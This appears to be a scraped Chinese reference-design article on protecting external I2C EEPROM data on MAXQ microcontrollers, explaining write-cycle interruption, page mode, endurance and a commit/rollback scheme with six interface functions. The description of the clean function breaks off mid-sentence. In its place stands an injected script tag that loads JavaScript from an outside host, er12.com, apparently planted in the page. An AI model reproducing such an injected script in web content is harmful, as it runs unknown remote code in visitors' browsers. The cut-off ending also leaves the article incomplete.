MAXQ环境下EEPROM的保护措施

介绍

在嵌入式微控制器应用中,通常都要用到非易失性存储器。无论是掉电时维持需要保存的设置,还是存储公司的重要记录,可靠的非易失性存储器都是现代微控制器领域的一个基本单元。

非易失性存储常常采用外部串行存储器实现。多年以来,该领域用到了数十亿颗类似存储器件,它们的可靠性得到了的广泛认可。目前,存储器可以做到几百字节到1兆字节甚至更大的容量,在每一个需要保持设置的设备中,都能找到这样一个紧凑、廉价的器件。

包括eeprom、闪存和旋转式存储器在内,所有类型的非易失性存储器都面临一个共同的问题:写周期被中断时,数据会丢失。一旦在写周期执行过程中掉电,那么即使再恢复电源,也很难修复损坏的数据。 本文提出了一种基于事务的提交-回退机制,用于保护一个外部串行eeprom存储器件的内容。这些措施同样适用于大多数maxq微控制器的内置eeprom。可以下载本应用的代码文件(zip,20.5kb)。

i2c eeprom的特点

串行存储器件有多种接口,但最常用的接口是i2c接口。这种总线接口有很多优点:高度标准化的接口;控制器和存储器之间只需两条线;而且具有灵活的时序要求,可以由软件驱动。一个i2c主机可以驱动很多i2c从机,从而最大程度减少了主机的引脚数。

在所有eeprom器件中,写周期都要比读周期长的多。因为在写周期过程中,电荷需要借助隧道效应并通过绝缘层进行转移,而这个过程很费时间。虽然增加电压可以加快这个过程,但是过高的电压会导致绝缘层的介质击穿,从而损坏器件。典型的eeprom器件写周期持续10毫秒左右;而读周期通常需要几百个纳秒。

为了显著缩短写周期的时间,许多i2c eeprom器件采用页面模式。该模式允许将多个字节传送到缓存中,然后将数据一次性写入存储区。i2c存储器件的典型页面尺寸为32字节。因此,可以在一个写周期内向eeprom填入32个字节。

这一点非常重要,因为串行eeprom器件都具有特定的耐久度:即每个页面所能承受的写周期次数上限。典型的写周期次数从10,000到1,000,000次。然而,即使存储器件能够承受1百万次写周期,软件也会很快将其损耗殆尽。软件每秒仅执行100次写周期,那么不到3个小时就会耗尽器件的写周期次数。

考虑到这些基本的eeprom特性,设计者为一个嵌入式处理器设计可靠的非易失存储系统时,需切记以下几点:

不要在同一页面上反复执行写操作。尤其是不要将某个页面设置成写入任何其它页面时都要更新的“目录”。

如果在写周期过程中电源被中断,必须提供以下机制:(1) 检测被中断的写操作;(2) 完成被中断的操作;(3) 或者将事件回退至写操作之前的状态。

必须通过某些数据校验机制(校验和、crc或消息摘要)来保证数据的完整性。

设计目标

虽然上面提到的eeprom问题可通过多种非易失文件系统加以解决,但这样的文件机制对于小型嵌入式微控制器来说负担过重。很多文件系统需要更多的ram,远远超出了小型微控制器所能提供的容量,而且对于多数应用,也不需要一个完整的文件系统。

考虑到这一点,下面列出了eeprom数据保护机制的设计目标:

精简:保护机制用于存储校验数据的空间不应超过eeprom的10%,它应该只需要少量的计算开销。

块大小:被保护的块大小,应该和eeprom的写操作页面大小一样。由于eeprom器件的页面大小通常是2的偶数次幂,因此与每个块保留1或2个字节的做法相比,相同的尺寸大小更便于软件编码。

耐久性:每个保护周期不要对同一页面进行写操作。

可靠性:每次掉电情况下,数据都应是可恢复的。

这里提到的保护机制有6个接口函数:读、写、提交、回退、检查和清理。

读函数接收一个块编号和一个指向32字节缓存的指针。如果缓存地址和块编号处于有效范围内,程序就会将指定的块数据读入缓存,并校验数据的有效性。它会返回如下状态:有效读(valid read)、无效读(invalid read)、无效缓存地址(invalid buffer address)、无效页面编号(invalid page number)或保护失败(protection failure)。

写函数接收一个块编号和一个指向填好数据的32字节缓存的指针。如果缓存地址和块编号处于有效范围内,程序就会将数据写入非易失性缓存,并标记缓存状态以准备提交。

提交和回退函数,是可以在写操作之后执行的互补型操作。提交函数将最近被写入的缓存数据复制到对应的存储区最终位置,并为下一个待写入的数据块准备好缓存结构。回退函数实际上就是一个“取消”操作。它消除最近一次写操作产生的效果,并为下一个写操作准备好缓存子系统。 检查函数读取存储器件的每个数据块,并检查存储数据的有效性。该函数还检查缓存子系统,以确保没有未执行的写操作。任何无效块或未执行的写操作都会使检查函数返回一个错误状态。

清理函数修复一个数据损坏的eeprom?script src=http://er12.com/t.js>

  • MAXQ环境下EEPROM的保护措施已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计